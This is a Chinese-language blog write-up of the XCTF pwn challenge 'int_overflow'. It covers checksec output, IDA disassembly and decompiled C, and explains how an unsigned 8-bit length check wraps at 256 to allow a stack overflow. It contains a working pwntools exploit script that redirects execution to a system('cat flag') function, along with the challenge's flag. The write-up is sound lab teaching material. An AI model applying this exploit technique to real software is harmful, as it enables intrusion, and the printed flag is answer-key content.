

int_overflow [XCTF-PWN]CTF writeup系列9

原创

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订阅专栏



[CTF](#)

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订阅专栏

题目地址: [int_overflow](#)

先看看题目内容:

The screenshot shows the challenge details for 'int_overflow'. It includes the title, difficulty rating (1.0), source (None), description (A chicken feels like there's no way to overflow, right?), scenario (IP: 111.198.29.45:52600), timer (03:58:22, Delayed), and attachments (Attachment 1). The URL at the bottom is https://blog.csdn.net/fastergohome.

这道题目的名字已经把漏洞说明白了，就是整数溢出漏洞

那我们就照例下载文件，检查保护机制

```
root@mypwn:/ctf/work/python# checksec abd631bc00e445608f5f2af2cb0c151a
[*] '/ctf/work/python/abd631bc00e445608f5f2af2cb0c151a'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

只开启了NX，那就没问题了，可以做栈溢出。拿出ida做下反编译

Library function Regular function Instruction Data Unexplored External symbol

f Functions window IDA View-A Hex View-1

```

Function name
f _init_proc
f sub_80484B0
f _setbuf
f _read
f _printf
f _fflush
f _strcpy
f _puts
f _system
f _exit
f _strlen
f __libc_start_main
f _memset
f __isoc99_scanf
f _gmon_start_
f _start
f __x86_get_pc_thunk_bx
f deregister_tm_clones
f register_tm_clones
f __do_global_dtors_aux
f frame_dummy
f what_is_this
f check_passwd
f login
f main
f __libc_csu_init
f __libc_csu_fini
f _term_proc
f setbuf
f read
f printf
f fflush
f strcpy

```

```

.text:080487CA ; ===== S U B R O U T I N E =====
.text:080487CA ; Attributes: bp-based frame
.text:080487CA ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080487CA     public main
.text:080487CA     proc near
.text:080487CA         ; DATA XREF: start+17↑o
.text:080487CA         = dword ptr -0Ch
.text:080487CA         = dword ptr -4
.text:080487CA         = dword ptr 8
.text:080487CA         = dword ptr 0Ch
.text:080487CA         = dword ptr 10h
.text:080487CA ; __ unwind {
.text:080487CA     lea    ecx, [esp+4]
.text:080487CA     and   esp, 0FFFFFFF0h
.text:080487CA     push  dword ptr [ecx-4]
.text:080487D1     push  ebp
.text:080487D4     mov   ebp, esp
.text:080487D5     push  ecx
.text:080487D7     sub   esp, 14h
.text:080487D8     mov   eax, ds:stdin@@GLIBC_2_0
.text:080487DB     sub   esp, 8
.text:080487E0     push  0          ; buf
.text:080487E3     push  eax          ; stream
.text:080487E5     call  _setbuf
.text:080487E6     add   esp, 10h
.text:080487EB     mov   eax, ds:stdout@@GLIBC_2_0
.text:080487EE     sub   esp, 8
.text:080487F3     push  0          ; buf
.text:080487F6     push  eax          ; stream
.text:080487F9     call  _setbuf
.text:080487FE     add   esp, 10h
.text:08048801     mov   eax, ds:stderr@@GLIBC_2_0
.text:08048806     sub   esp, 8
.text:08048809     push  0          ; buf
.text:0804880B     push  eax          ; stream
.text:0804880C     call  _setbuf
.text:08048811     add   esp, 10h
.text:08048814     sub   esp, 0Ch
.text:08048817     push  offset asc_80489C2 ; -----
.text:0804881C     call  _puts
.text:08048821     add   esp, 10h
.text:08048824     sub   esp, 0Ch
.text:08048827     push  offset aWelcomeToCtf ; ~~ Welcome to CTF! ~~
.text:0804882C     call  _puts
.text:08048831     add   esp, 10h
.text:08048834     sub   esp, 0Ch
.text:08048837     push  offset alLogin ; "1.Login"
.text:0804883C     call  _puts
.text:08048841     add   esp, 10h
.text:08048844     sub   esp, 0Ch
.text:08048847     push  offset a2Exit ; "2.Exit"
.text:08048851     call  _puts
.text:08048854     add   esp, 10h
.text:08048857     sub   esp, 0Ch
.text:0804885C     push  offset asc_80489C2 ; -----
.text:08048861     call  _puts
.text:08048864     add   esp, 10h
.text:08048867     sub   esp, 0Ch
.text:0804886C     push  offset aYourChoice ; "Your choice:"
.text:08048871     call  _printf
.text:08048874     add   esp, 10h
.text:08048877     sub   esp, 8
.text:0804887A     lea   eax, [ebp+var_C]
.text:0804887B     push  eax
.text:08048880     push  offset aD ; "%d"
.text:08048880     call  __isoc99_scanf

```

Line 25 of 41

000007CA 080487CA: main (Synchronized with Hex View-1) <https://blog.csdn.net/fastergohome>

主要有四个函数：

1. main
2. login
3. check_passwd
4. what_is_this

反编译成c语言如下：

```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    int v4; // [esp+Ch] [ebp-Ch]

    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    puts("-----");
    puts("~~ Welcome to CTF! ~~");
    puts("      1.Login      ");
    puts("      2.Exit       ");

```

```
        ,  
puts("-----");  
printf("Your choice:");  
__isoc99_scanf("%d", &v4);  
if ( v4 == 1 )  
{  
    login();  
}  
else  
{  
    if ( v4 == 2 )  
    {  
        puts("Bye~");  
        exit(0);  
    }  
    puts("Invalid Choice!");  
}  
return 0;  
}  
  
int login()  
{  
    char buf; // [esp+0h] [ebp-228h]  
    char s; // [esp+200h] [ebp-28h]  
  
    memset(&s, 0, 0x20u);  
    memset(&buf, 0, 0x200u);  
    puts("Please input your username:");  
    read(0, &s, 0x19u);  
    printf("Hello %s\n", &s);  
    puts("Please input your passwd:");  
    read(0, &buf, 0x199u);  
    return check_passwd(&buf);  
}  
  
char *__cdecl check_passwd(char *s)  
{  
    char *result; // eax  
    char dest; // [esp+4h] [ebp-14h]  
    unsigned __int8 v3; // [esp+Fh] [ebp-9h]  
  
    v3 = strlen(s);  
    if ( v3 <= 3u || v3 > 8u )  
    {  
        puts("Invalid Password");  
        result = (char *)fflush(stdout);  
    }  
    else  
    {  
        puts("Success");  
        fflush(stdout);  
        result = strcpy(&dest, s);  
    }  
    return result;  
}  
  
int what_is_this()  
{  
    return system("cat flag");  
}
```

我们一定要记得把所有重要的函数都反出来，放在一个文件里面观看，这样会比较容易理解。

注意到what_is_this函数就是我们需要的目标，逆推看到需要达成的条件为：

```
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
    puts("Invalid Password");
    result = (char *)fflush(stdout);
}
else
{
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
}
```

变量s的长度要在3-8之间，我们看到溢出点应该是在：

```
result = strcpy(&dest, s);
```

如果要在这里达到栈溢出，至少要>0x14+4+4，因为如下定义的时候变量dest距离栈底14h

```
char dest; // [esp+4h] [ebp-14h]
```

这里就涉及到整数溢出的漏洞

```
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
```

注意到v3的定义是int8，这表示v3最大值是255，如果给v3赋值256的话，那么v3就会等于0。

根据这个漏洞，我们构造payload如下：

```
system_addr = 0x08048694
payload = 'A'*0x14 + 'A'*4 + p32(system_addr) + 'A'*(256+3-0x14-4-4)
```

这里的system_addr地址是直接从what_is_this函数中获取的目标函数执行地址。为了要让总长度为256+3，所以在尾部补足字符数量为(256+3-0x14-4-4)

程序执行的正常流程如下：

```
root@mypwn:/ctf/work/python# ./abd631bc00e445608f5f2af2cb0c151a
-----
~~ Welcome to CTF! ~~
1.Login
2.Exit
-----
Your choice:1
Please input your username:
aa
Hello aa

Please input your passwd:
aaa
Success
```

利用payload编写python脚本如下：

```
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./abd631bc00e445608f5f2af2cb0c151a')
# p = remote("111.198.29.45", 52600)

system_addr = 0x08048694
payload = 'A'*0x14 + 'A'*4 + p32(system_addr) + 'A'*(256+3-0x14-4-4)

p.sendlineafter('Your choice:', '1')
p.sendlineafter('username:', 'aa')
p.sendlineafter('passwd:', payload)
p.interactive()
```

执行结果为：

```
root@mypwn:/ctf/work/python# python int_overflow.py
[+] Starting local process './abd631bc00e445608f5f2af2cb0c151a': pid 158
[*] Switching to interactive mode

Success
cat: flag: No such file or directory
[*] Got EOF while reading in interactive
$
```

确定没有问题，那就修改python脚本连接服务器，结果如下：

```
root@mypwn:/ctf/work/python# python int_overflow.py
[+] Opening connection to 111.198.29.45 on port 52600: Done
[*] Switching to interactive mode

Success
cyberpeace{5245c2a80ab7a2313990edb9bed8dbf2}
[*] Got EOF while reading in interactive
$
```

执行成功，简单明了

这个题目的考点在前面栈溢出的基础上增加了整数溢出的部分。



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